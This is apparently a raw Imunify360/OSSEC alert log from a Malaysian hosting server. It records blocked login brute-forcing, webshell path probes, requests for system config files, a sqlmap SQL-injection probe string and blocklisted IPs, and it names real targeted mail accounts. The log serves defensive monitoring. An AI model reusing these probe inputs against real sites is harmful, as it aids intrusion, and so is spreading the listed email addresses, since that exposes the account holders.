IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/tests/values/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-01-13 17:24:31 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:46483: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.107.136.187
country_id: 690791
description:
Jan 13 17:24:42 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.107.136.187 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.176.149.22
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=954784 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.107.136.187
country_id: 690791
description:
Jan 13 17:25:20 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.107.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-13 17:25:22 dovecot_plain authenticator failed for H=(juncalla) [185.107.136.187]:54761: 535 Incorrect authentication data (set_id=siowchi.kwang@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.221.115.5
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=889080 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.108
country_id: 298795
description:
Jan 13 17:27:00 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.108
country_id: 298795
description:
Jan 13 17:27:13 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.148.92.249
country_id: 1168579
description:
Jan 13 17:27:37 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.148.92.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.249
country_id: 1168579
description:
2026-01-13 17:27:39 dovecot_login authenticator failed for H=(249.92.zcomnetworks.com.pk) [103.148.92.249]:50226: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.120.90
country_id: 3469034
description:
Jan 13 17:28:38 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.120.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-01-13 17:28:40 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:52931: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.167.48.130
country_id: 2017370
description:
2026-01-13 17:29:36 dovecot_plain authenticator failed for H=(clarin) [5.167.48.130]:42753: 535 Incorrect authentication data (set_id=sales@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.239.200.207
country_id: 6252001
description:
[2026-01-13 17:29:37 +0800] info [whostmgrd] 156.239.200.207 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.1.176.159
country_id: 2464461
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.50.224.53
country_id: 3865483
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but02.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.238.254.187
country_id: 3469034
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/spacer.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.181.246.36
country_id: 3865483
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/top.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.113.188.233
country_id: 3865483
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/bg_but.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.148.103.14
country_id: 1210997
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but01.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.221.211
country_id: 1562822
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but04.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.133.140.105
country_id: 1210997
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/pix_main02.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.168.49
country_id: 1562822
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but05.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.152.87.227
country_id: 3469034
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/bg.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.65.234
country_id: 3865483
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/pix_main01.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.25.83.98
country_id: 690791
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/sider.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.232.113.43
country_id: 357994
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.123.79
country_id: 1168579
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/logo.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.153.102.125
country_id: 3625428
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but_top.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.141.151.205
country_id: 3865483
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/but03.gif HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.245.104.4
country_id: 3996063
domain: tst-ma.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tst-ma.com/images/pix_main.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.202
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/log/anaconda/packaging.log||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.180.228.206
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=503368 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.4
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/log/anaconda/storage.log||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/dovecot/dovecot.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.51
country_id: 3175395
description:
Jan 13 17:37:00 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:37:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:46071: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.135
country_id: 2300660
description:
Jan 13 17:37:20 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/survey-meter.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:37:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:46071: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.51
country_id: 3175395
description:
Jan 13 17:37:13 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:39:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57900: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.121.106.20
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=435053 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 17:39:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57900: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.150
country_id: 933860
description:
Jan 13 17:40:32 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.47.243.8
country_id: 357994
description:
Jan 13 17:40:52 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.47.243.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.47.243.8
country_id: 357994
description:
2026-01-13 17:40:54 dovecot_plain authenticator failed for H=(bonplated) [197.47.243.8]:52728: 535 Incorrect authentication data (set_id=contact@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.144
country_id: 3469034
description:
Jan 13 17:40:10 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.84
country_id: 3175395
description:
Jan 13 17:43:05 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.202
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/sysusers.d/pipewire.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.33
country_id: 3175395
description:
Jan 13 17:42:34 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.236
country_id: 3469034
description:
Jan 13 17:43:25 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.84
country_id: 3175395
description:
Jan 13 17:43:12 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.47.243.8
country_id: 357994
description:
Jan 13 17:44:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.47.243.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 17:44:49 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.47.243.8
country_id: 357994
description:
2026-01-13 17:44:13 dovecot_plain authenticator failed for H=(disills) [197.47.243.8]:52400: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.100.158
country_id: 3996063
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/loreal/division-beaute-dermatologique/skinceuticals/index.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 17:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60297: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 17:47:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60297: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 141.98.10.127
country_id: 597427
description:
2026-01-13 17:48:26 H=([141.98.10.127]) [141.98.10.127]:61453 F=<customer_support@epson.co.kr> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.214.240
country_id: 1733045
description:
2026-01-13 17:48:48 H=([192.168.1.38]) [113.211.214.240]:7913 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<vasundra@egbwawasan.com.my> A=dovecot_login:vasundra@egbwawasan.com.my temporarily rejected RCPT <SweatLing.Kor@kerrylogistics.com>: host lookup did not complete


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 17:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56137: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 17:50:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56137: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.136.115.209
country_id: 2510769
description:
Jan 13 17:50:55 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.136.115.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.136.115.209
country_id: 2510769
description:
Jan 13 17:51:08 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.136.115.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.45
country_id: 3865483
description:
Jan 13 17:51:15 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.159.106
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=775548 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.171.53.74
country_id: 2017370
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/application/themes/bishop/images/drag-to-explore-icon.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 213.230.107.111
country_id: 1512440
description:
2026-01-13 17:54:58 2535827 [Warning] Aborted connection 2535827 to db: 'unconnected' user: 'unauthenticated' host: '213.230.107.111' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.73.163.225
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/images/casual.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.138.101
country_id: 587116
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/application/js/smooth.scroll.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.221.252.181
country_id: 783754
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/images/cafe.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 142.154.87.163
country_id: 102358
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/images/foodcourt.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.150.54
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.204.209.58
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/images/logoo-cabee.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.73.15.120
country_id: 690791
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/concrete/js/jquery.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.15.168.196
country_id: 1269750
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/images/fastfood.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.36.30.160
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/application/js/all.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140852
name: IM360 WAF: SQL Dorks collection for SQL Injection
abuser: 174.116.38.10
country_id: 6251999
domain: www.nobledec.com
description:
IM360 WAF: SQL Dorks collection for SQL Injection||MVN:ARGS:id||RSV:7.62||T:APACHE||MV:30,.\"'(,,,,.||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.159.192
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/polyfill-util/TestListenerTrait.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 174.116.38.10
country_id: 6251999
domain: www.nobledec.com
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:sqlmap/1.9.11#pip (https://sqlmap.org)||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.78.226
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 17:57:55 H=([77.83.39.92]) [77.83.39.92]:52479 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <astpkg@astlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.84
country_id: 2510769
description:
Jan 13 17:57:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.9
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/apache2.conf||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.10
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/systemd.conf||User:root||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>posted assembly orders</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>learn with ms.kho how to do bank reconciliation for december 2025</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.10
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/lvm2.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.112.149.119
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=954943 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.51.118.218
country_id: 3469034
description:
Jan 13 18:00:39 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.51.118.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.29
country_id: 298795
description:
Jan 13 18:01:05 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.29
country_id: 298795
description:
Jan 13 18:01:13 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
